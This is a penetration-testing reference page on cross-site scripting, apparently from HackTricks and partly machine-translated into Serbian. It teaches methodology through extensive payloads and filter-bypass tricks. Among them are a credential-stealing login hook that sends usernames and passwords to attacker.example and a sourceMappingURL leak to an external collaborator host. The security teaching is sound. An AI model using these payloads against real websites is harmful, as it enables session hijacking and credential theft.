XSS (Cross Site Scripting)

Reading time: 54 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Metodologija

  1. Proveri da li se bilo koja vrednost koju kontrolišeš (parameters, path, headers?, cookies?) reflektuje u HTML-u ili se koristi u JS kodu.
  2. Pronađi kontekst u kome je reflektovano/korisćeno.
  3. Ako je reflektovano
  4. Proveri koje simbole možeš koristiti i u zavisnosti od toga, pripremi payload:
  5. U raw HTML:
  6. Možeš li kreirati nove HTML tagove?
  7. Možeš li koristiti evente ili atribute koji podržavaju javascript: protocol?
  8. Možeš li zaobići zaštite?
  9. Da li se HTML sadržaj interpretira kroz neki client side JS engine (AngularJS, VueJS, Mavo...), koji bi mogaoš zloupotrebiti kroz Client Side Template Injection.
  10. Ako ne možeš kreirati HTML tagove koji izvršavaju JS kod, možeš li zloupotrebiti Dangling Markup - HTML scriptless injection?
  11. Unutar HTML taga:
  12. Možeš li izaći u raw HTML kontekst?
  13. Možeš li kreirati nove evente/atribute koji izvršavaju JS kod?
  14. Da li atribut u kome si zarobljen podržava izvršavanje JS?
  15. Možeš li zaobići zaštite?
  16. Unutar JavaScript koda:
  17. Možeš li pobjeći iz <script> taga?
  18. Možeš li pobjeći iz stringa i izvršiti drugačiji JS kod?
  19. Da li je tvoj input u template literal-ima ``?
  20. Možeš li zaobići zaštite?
  21. Javascript funkcija koja se izvodi
  22. Možeš navesti ime funkcije koju treba izvršiti. npr.: ?callback=alert(1)
  23. Ako je korisćeno:
  24. Mogao bi iskoristiti DOM XSS, obrati pažnju kako je tvoj input kontrolisan i da li se tvoj kontrolisani input koristi od strane nekog sinka.

Kada radiš na kompleksnom XSS-u može ti biti interesantno da pogledaš:

Debugging Client Side JS

Reflected values

Da bi uspešno eksploatisao XSS, prva stvar koju treba da nađeš je vrednost koju kontrolišeš i koja se reflektuje na web stranici.

  • Intermediately reflected: Ako primetiš da se vrednost parametra ili čak path reflektuje na stranici, možeš iskoristiti Reflected XSS.
  • Stored and reflected: Ako se vrednost koju kontrolišeš čuva na serveru i reflektuje svaki put kad pristupiš stranici, možeš iskoristiti Stored XSS.
  • Accessed via JS: Ako se vrednost koju kontrolišeš pristupa pomoću JS-a, možeš iskoristiti DOM XSS.

Konteksti

Kada pokušavaš da iskoristiš XSS, prva stvar koju treba da znaš je gde se tvoj input reflektuje. U zavisnosti od konteksta, moći ćeš na različite načine izvršiti proizvoljni JS kod.

Raw HTML

Ako se tvoj input reflektuje u raw HTML-u stranice, moraćeš da zloupotrebiš neki HTML tag da bi izvršio JS kod: <img , <iframe , <svg , <script ... ovo su samo neki od mnogih mogućih HTML tagova koje možeš koristiti.
Takođe, imaj na umu Client Side Template Injection.

Unutar atributa HTML taga

Ako se tvoj input reflektuje unutar vrednosti atributa taga, možeš pokušati:

  1. Da izbaciš se iz atributa i iz taga (tada ćeš biti u raw HTML-u) i kreiraš novi HTML tag za zloupotrebu: "><img [...]
  2. Ako možeš izaći iz atributa ali ne i iz taga (> je enkodiran ili obrisan), u zavisnosti od taga možeš kreirati event koji izvršava JS kod: " autofocus onfocus=alert(1) x="
  3. Ako ne možeš izaći iz atributa (" je enkodirano ili obrisano), onda u zavisnosti od kojeg atributa se tvoja vrednost reflektuje i da li kontrolišeš celu vrednost ili samo njen deo biće ti moguće da ga zloupotrebiš. Na primer, ako kontrolišeš event kao onclick= moći ćeš da ga nateraš da izvrši proizvoljan kod kada se klikne. Drugi interesantan primer je atribut href, gde možeš koristiti javascript: protokol da izvršiš proizvoljan kod: href="javascript:alert(1)"
  4. Ako se tvoj input reflektuje unutar "neeksploatabilnih tagova" možeš pokušati trik sa accesskey da zloupotrebiš ranjivost (biće ti potrebna neka vrsta social engineering-a da ovo iskoristiš): " accesskey="x" onclick="alert(1)" x="

Čudan primer Angular-a koji izvršava XSS ako kontrolišeš ime klase:

html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Unutar JavaScript koda

U tom slučaju vaš unos se reflektuje između <script> [...] </script> tagova HTML stranice, unutar .js fajla ili unutar atributa koji koristi javascript: protokol:

  • Ako je reflektovano između <script> [...] </script> tagova, čak i ako je vaš unos unutar bilo kojih navodnika, možete pokušati da injektujete </script> i pobegnete iz tog konteksta. Ovo radi zato što pregledač će prvo parsirati HTML tagove a zatim sadržaj, te neće primetiti da je vaš ubrizgani </script> tag unutar HTML koda.
  • Ako je reflektovano unutar JS stringa i prethodni trik ne radi, moraćete da izađete iz stringa, izvršite svoj kod i rekonstrušete JS kod (ako ima greške, neće biti izvršen):
  • '-alert(1)-'
  • ';-alert(1)//
  • \';alert(1)//
  • Ako je reflektovano unutar template literals možete ubaciti JS izraze koristeći ${ ... } sintaksu: var greetings = `Hello, ${alert(1)}`
  • Unicode enkodiranje funkcioniše za pisanje validnog javascript koda:
javascript
alert(1)
alert(1)
alert(1)

Javascript Hoisting

Javascript Hoisting references the opportunity to deklarisati funkcije, promenljive ili klase nakon što su korišćene, kako biste mogli iskoristiti scenarije u kojima XSS koristi nedeklarisane promenljive ili funkcije.
Pogledajte sledeću stranicu za više informacija:

JS Hoisting

Javascript Function

Mnoge web stranice imaju endpoints koji prihvataju kao parametar ime funkcije koju treba izvršiti. Čest primer u divljini je nešto poput: ?callback=callbackFunc.

Dobar način da otkrijete da li se nešto što korisnik direktno unese pokušava izvršiti je izmeniti vrednost parametra (na primer u 'Vulnerable') i posmatrati konzolu za greške poput:

Ako je ranjiv, mogli biste uspeti da pokrenete alert samo slanjem vrednosti: ?callback=alert(1). Međutim, veoma je često da ovi endpoints validiraju sadržaj da dozvole samo slova, brojeve, tačke i donje crte ([\w\._]).

Međutim, čak i sa tom ograničenjem još uvek je moguće sprovesti neke akcije. To je zato što možete iskoristiti te dozvoljene karaktere da pristupite bilo kom elementu u DOM-u:

Neke korisne funkcije za ovo su:

firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement

Takođe možete pokušati da direktno покренете Javascript functions: obj.sales.delOrders.

Međutim, obično su endpointi koji izvršavaju naznačenu funkciju endpointi bez mnogo zanimljivog DOM-a, other pages in the same origin će imati more interesting DOM za izvođenje više akcija.

Stoga, da biste abuse this vulnerability in a different DOM, razvijen je exploit za Same Origin Method Execution (SOME):

SOME - Same Origin Method Execution

DOM

Postoji JS code koji nesigurno koristi neke podatke kontrolisane od strane napadača kao što je location.href. Napadač ovo može iskoristiti da izvrši proizvoljan JS код.

DOM XSS

Universal XSS

Ovakve vrste XSS mogu se naći anywhere. One ne zavise samo od exploitatovanja klijenta web aplikacije već od any context. Ovakve vrste arbitrary JavaScript execution mogu čak biti iskorišćene da dovedu do RCE, da read arbitrary files na klijentima i serverima, i još mnogo toga.
Neki examples:

Server Side XSS (Dynamic PDF)

Electron Desktop Apps

WAF bypass encoding image

from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21

Injecting inside raw HTML

Kada je vaš unos reflektovan inside the HTML page ili možete da escape-ujete i ubacite HTML kod u ovom kontekstu, prva stvar koju treba da uradite je da proverite da li možete da zloupotrebite < za kreiranje novih tagova: jednostavno pokušajte da reflect taj char i proverite da li je HTML encoded ili deleted ili da li je reflected without changes. Samo u poslednjem slučaju ćete moći da iskoristite ovu situaciju.
Za ove slučaje takođe keep in mind Client Side Template Injection.
Napomena: HTML komentar se može zatvoriti koristeći --> ili --!>

U ovom slučaju, i ako se ne koristi black/whitelisting, možete koristiti payloads poput:

html
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>

Međutim, ako se koristi black/whitelisting tagova/atributa, moraćete da brute-force koje tags možete kreirati.
Kada otkrijete koji su tags dozvoljeni, treba da brute-force attributes/events unutar pronađenih validnih tagova da biste videli kako možete napasti kontekst.

Tags/Events brute-force

Idite na https://portswigger.net/web-security/cross-site-scripting/cheat-sheet i kliknite na Copy tags to clipboard. Zatim pošaljite sve tagove koristeći Burp intruder i proverite da li neki tag nije označen kao maliciozan od strane WAF-a. Kada otkrijete koje tags možete koristiti, možete brute force all the events koristeći validne tagove (na istoj web stranici kliknite na Copy events to clipboard i sledite istu proceduru kao ranije).

Custom tags

Ako niste našli nijedan validan HTML tag, možete pokušati da create a custom tag i izvršite JS kod pomoću onfocus atributa. U XSS zahtevu, potrebno je da završite URL sa # kako biste naterali stranicu da se fokusira na taj objekat i izvrši kod:

/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x

Blacklist Bypasses

Ako se koristi neka vrsta blacklist-a, možete pokušati da je bypass-ujete pomoću nekih jednostavnih trikova:

javascript
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG

//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>

//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09

//Unexpected parent tags
<svg><x><script>alert('1'&#41</x>

//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script      ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>

//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //

//Extra open
<<script>alert("XSS");//<</script>

//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">

//Using `` instead of parenthesis
onerror=alert`1`

//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //

Length bypass (small XSSs)

[!NOTE] > Više tiny XSS za različita okruženja payload može se naći ovde i ovde.

html
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>

Poslednji koristi 2 unicode karaktera koja se prošire na 5: telsr
Više ovakvih karaktera može se naći ovde.
Da proverite na koje se karaktere decomponuje pogledajte ovde.

Click XSS - Clickjacking

Ako je za iskorišćavanje ranjivosti potrebno da korisnik klikne na link ili formu sa unapred popunjenim podacima, možete pokušati da abuse Clickjacking (ako je stranica ranjiva).

Impossible - Dangling Markup

Ako mislite da je nemoguće napraviti HTML tag sa attribute koji izvršava JS kod, treba da pogledate Danglig Markup jer biste mogli iskoristiti ranjivost bez izvršavanja JS koda.

Injecting inside HTML tag

Inside the tag/escaping from attribute value

Ako se nalazite inside a HTML tag, prva stvar koju možete pokušati je da escape iz taga i iskoristite neke od tehnika pomenutih u prethodnom odeljku da izvršite JS kod.
Ako ne možete escape-ovati iz taga, možete kreirati nove attribute unutar taga kako biste pokušali da izvršite JS kod, na primer koristeći payload poput (napomena: u ovom primeru double quotes služe za escape iz attribute, neće vam biti potrebni ako je vaš unos reflektovan direktno unutar taga):

bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t

Događaji stila

python
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>

Unutar atributa

Čak i ako ne možete da pobegnete iz atributa (" se enkoduje ili briše), u zavisnosti od koji atribut odražava vašu vrednost da li kontrolišete celu vrednost ili samo njen deo moći ćete to da zloupotrebite. Na primer, ako kontrolišete event kao što je onclick= moći ćete da natjerate da izvrši proizvoljni kod kada se klikne.
Drugi interesantan primer je atribut href, gde možete koristiti javascript: protokol da izvršite proizvoljni kod: href="javascript:alert(1)"

Bypass inside event using HTML encoding/URL encode

The HTML encoded characters inside the value of HTML tags attributes are decoded on runtime. Therefore something like the following will be valid (the payload is in bold): <a id="author" href="http://none" onclick="var tracker='http://foo?&apos;-alert(1)-&apos;';">Go Back </a>

Note that any kind of HTML encode is valid:

javascript
//HTML entities
&apos;-alert(1)-&apos;
//HTML hex without zeros
&#x27-alert(1)-&#x27
//HTML hex with zeros
&#x00027-alert(1)-&#x00027
//HTML dec without zeros
&#39-alert(1)-&#39
//HTML dec with zeros
&#00039-alert(1)-&#00039

<a href="javascript:var a='&apos;-alert(1)-&apos;'">a</a>
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>

Imajte na umu da će i URL encode raditi:

python
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>

Bypass unutar event-a koristeći Unicode enkodovanje

javascript
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />

Specijalni protokoli unutar atributa

Tamo možete koristiti protokole javascript: ili data: na nekim mestima da biste izvršili proizvoljan JS kod. Neki će zahtevati interakciju korisnika, neki neće.

javascript
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript&colon;alert(1)
javascript&#x003A;alert(1)
javascript&#58;alert(1)
javascript:alert(1)
java        //Note the new line
script:alert(1)

data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==

Mesta gde možete ubaciti ove protokole

Uopšteno protokol javascript: može biti korišćen u bilo kojem tagu koji prihvata atribut href i u većini tagova koji prihvataju atribut src (ali ne <img)

html
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>

<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>

//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">

Other obfuscation tricks

U ovom slučaju HTML encoding i Unicode encoding trik iz prethodnog odeljka takođe važi, jer se nalazite unutar atributa.

javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">

Štaviše, postoji još jedan nice trick za ove slučajeve: Čak i ako je vaš unos unutar javascript:... URL encoded, biće URL decoded pre nego što se izvrši. Dakle, ako treba da escape iz string koristeći single quote i vidite da it's being URL encoded, zapamtite da it doesn't matter, biće interpreted kao single quote tokom execution time.

javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>

Imajte na umu da ako pokušate da koristite oba URLencode + HTMLencode u bilo kom redosledu da enkodujete payload, to neće raditi, ali možete mešati ih unutar payload-a.

Korišćenje Hex i Octal encode sa javascript:

Možete koristiti Hex i Octal encode unutar src atributa iframe (najmanje) da navedete HTML tags to execute JS:

javascript
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />

//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />

Reverse tab nabbing

javascript
<a target="_blank" rel="opener"

Ako možete ubaciti bilo koji URL u proizvoljan <a href= tag koji sadrži atribute target="_blank" and rel="opener", pogledajte sledeću stranicu da biste iskoristili ovo ponašanje:

Reverse Tab Nabbing

Zaobilaženje 'on' event handlers

Najpre pogledajte ovu stranicu (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) za korisne "on" event handlers.
Ako neka crna lista sprečava kreiranje ovih event handlera, možete pokušati sledeće zaobilaženja:

javascript
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>

//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B

Iz here sada je moguće zloupotrebiti hidden inputs pomoću:

html
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />

I u meta tags:

html
<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>

Iz here: Možete izvršiti XSS payload unutar skrivenog atributa, pod uslovom da uspete da persuade victim da pritisne key combination. Na Firefox (Windows/Linux) kombinacija tastera je ALT+SHIFT+X, a na OS X je CTRL+ALT+X. Možete odrediti drugačiju kombinaciju tastera koristeći drugi taster u access key attribute. Evo vektora:

html
<input type="hidden" accesskey="X" onclick="alert(1)">

The XSS payload će biti nešto ovako: " accesskey="x" onclick="alert(1)" x="

Blacklist Bypasses

Neki trikovi sa korišćenjem različitih enkodiranja već su objašnjeni u ovom odeljku. Vratite se da naučite gde možete koristiti:

  • HTML encoding (HTML tags)
  • Unicode encoding (can be valid JS code): \u0061lert(1)
  • URL encoding
  • Hex and Octal encoding
  • data encoding

Bypasses for HTML tags and attributes

Pročitajte Blacklist Bypasses of the previous section.

Bypasses for JavaScript code

Pročitajte JavaScript bypass blacklist of the following section.

CSS-Gadgets

Ako ste pronašli XSS u vrlo malom delu veba koji zahteva neku interakciju (možda mali link u footer-u sa onmouseover elementom), možete pokušati da izmenite prostor koji taj element zauzima kako biste povećali verovatnoću da se link aktivira.

Na primer, možete dodati stil u element kao: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5

Ali, ako WAF filtrira atribut style, možete koristiti CSS Styling Gadgets, pa ako nađete, na primer

.test {display:block; color: blue; width: 100%}

i

#someid {top: 0; font-family: Tahoma;}

Sada možete modifikovati naš link i dovesti ga u formu

<a href="" id=someid class=test onclick=alert() a="">

Ovaj trik je preuzet sa https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703

Injecting inside JavaScript code

U ovom slučaju, vaš input će biti reflektovan unutar JS koda .js fajla ili između <script>...</script> tagova ili između HTML događaja koji mogu izvršavati JS kod ili između atributa koji prihvataju javascript: protokol.

Escaping <script> tag

Ako je vaš kod ubačen unutar <script> [...] var input = 'reflected data' [...] </script> lako možete prekinuti zatvaranje <script> taga:

javascript
</script><img src=1 onerror=alert(document.domain)>

Obratite pažnju da u ovom primeru čak nismo ni zatvorili apostrof. To je zato što se HTML parsing prvo obavlja od strane browser-a, što uključuje identifikovanje elemenata stranice, uključujući blokove script. Parsiranje JavaScript-a da bi se razumeli i izvršili ugrađeni skriptovi sprovodi se tek nakon toga.

Unutar JS koda

Ako se <> filtriraju, i dalje možete escape-ovati string tamo gde se vaš unos nalazi i izvršiti proizvoljan JS. Važno je popraviti JS sintaksu, jer ako postoje greške, JS kod se neće izvršiti:

'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//

JS-in-JS string break → inject → repair pattern

Kada korisnički unos dospe unutar navodnog JavaScript stringa (npr., server-side echo into an inline script), možete prekinuti string, inject code i popraviti sintaksu da bi parsiranje ostalo validno. Generički kostur:

"            // end original string
;            // safely terminate the statement
<INJECTION>  // attacker-controlled JS
; a = "      // repair and resume expected string/statement

Primer URL obrasca kada se ranjivi parametar reflektuje u JS string:

?param=test";<INJECTION>;a="

Ovo izvršava napadačev JS bez potrebe da se dira HTML kontekst (pure JS-in-JS). Kombinujte sa blacklist bypasses ispod kada filteri blokiraju ključne reči.

Template literals ``

Da biste konstruisali strings, pored jednostrukih i dvostrukih navodnika, JS takođe prihvata backticks ``. Ovo je poznato kao template literals jer omogućavaju da se embedded JS expressions koriste pomoću ${ ... } sintakse.
Stoga, ako otkrijete da je vaš unos reflected unutar JS stringa koji koristi backticks, možete zloupotrebiti sintaksu ${ ... } da izvršite arbitrary JS code:

Ovo se može zloupotrebiti koristeći:

javascript
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
javascript
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``

Enkodirano code execution

html
<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>alert(1)</script></svg>  <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">

Isporučivi payloads sa eval(atob()) i nijansama opsega

Da biste držali URLs kraćim i zaobišli naivne filtere po ključnim rečima, možete base64-encode-ovati svoju pravu logiku i izvršiti je pomoću eval(atob('...')). Ako jednostavno filtriranje po ključnim rečima blokira identifikatore kao što su alert, eval ili atob, koristite Unicode-escaped identifikatore koji se u pregledaču izvršavaju identično, ali zaobilaze filtre koji rade podudaranje stringova:

\u0061\u006C\u0065\u0072\u0074(1)                      // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64'))  // eval(atob('...'))

Važna nijansa opsega: const/let deklarisani unutar eval() su block-scoped i NE kreiraju globalne promenljive; neće biti dostupni kasnijim skriptama. Koristite dinamički umetnut <script> element da, kad je potrebno, definišete globalne hook-ove koje nije moguće ponovo dodeliti (npr. za presretanje handler-a forme):

javascript
var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);

Referenca: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval

Unicode Encode JS izvršavanje

javascript
alert(1)
alert(1)
alert(1)

JavaScript tehnike za zaobilaženje crnih lista

Strings

javascript
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))

Posebni escape karakteri

javascript
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself

Zamene razmaka unutar JS code

javascript
<TAB>
/**/

JavaScript comments (iz JavaScript Comments trika)

javascript
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line

JavaScript new lines (iz JavaScript new line trika)

javascript
//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9

JavaScript razmaci

javascript
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279

//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert&#65279;(1)>

Javascript unutar komentara

javascript
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send

//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com

JavaScript bez zagrada

javascript
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name

// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`

// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`

// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`

//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`

// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead

// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.



// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''


// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}


// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.

Proizvoljan poziv funkcije (alert)

javascript
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')

//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
